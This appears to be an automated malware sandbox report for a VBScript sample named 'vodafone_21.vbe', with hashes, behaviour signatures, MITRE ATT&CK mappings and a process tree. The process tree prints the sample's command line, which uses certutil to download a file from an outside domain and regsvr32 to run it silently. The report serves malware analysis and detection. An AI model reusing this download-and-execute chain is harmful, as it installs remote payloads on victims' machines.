0fa841c1e599d2972006a04ccb61a1c2cd8139db2af6b59d396c2a8cb5d3cbae

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-en-20211208
submitted
21/01/2022, 06:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
vodafone_21.vbe
Size 211B
Sample220121-hlchsaecc4
SHA256 0fa841c1e599d2972006a04ccb61a1c2cd8139db2af6b59d396c2a8cb5d3cbae
MD5 bf88b774aa442fdecc5e8f10d9476111
SHA1 8fb8363f1336479b508072e7f21a5995b9abc172
SHA512 159e165c9ce27c7d01cc31f2ae9d7289f6c342c6a8a3c79db04c4153cf6aa5fe4fee24985ace375ea7afcb7525ea036c37963358aa4a9c6db4aa6dbeca35a562
MD5 SHA1 SHA512

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1108	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 1736	1656	WScript.exe	27
PID 1656 wrote to memory of 1736	1656	WScript.exe	27
PID 1656 wrote to memory of 1736	1656	WScript.exe	27
PID 1736 wrote to memory of 668	1736	cmd.exe	29
PID 1736 wrote to memory of 668	1736	cmd.exe	29
PID 1736 wrote to memory of 668	1736	cmd.exe	29
PID 1736 wrote to memory of 1108	1736	cmd.exe	32
PID 1736 wrote to memory of 1108	1736	cmd.exe	32
PID 1736 wrote to memory of 1108	1736	cmd.exe	32
PID 1736 wrote to memory of 1108	1736	cmd.exe	32
PID 1736 wrote to memory of 1108	1736	cmd.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vodafone_21.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f https://medialines.bar/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt && timeout 3 & regsvr32.exe /s C:\Users\Admin\AppData\Local\Temp\\image.txt
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f https://medialines.bar/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt
    3⤵
    PID:668
- - C:\Windows\system32\regsvr32.exe
    regsvr32.exe /s C:\Users\Admin\AppData\Local\Temp\\image.txt
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/668-55-0x00000000FF931000-0x00000000FF933000-memory.dmp

Download

memory/1656-54-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmp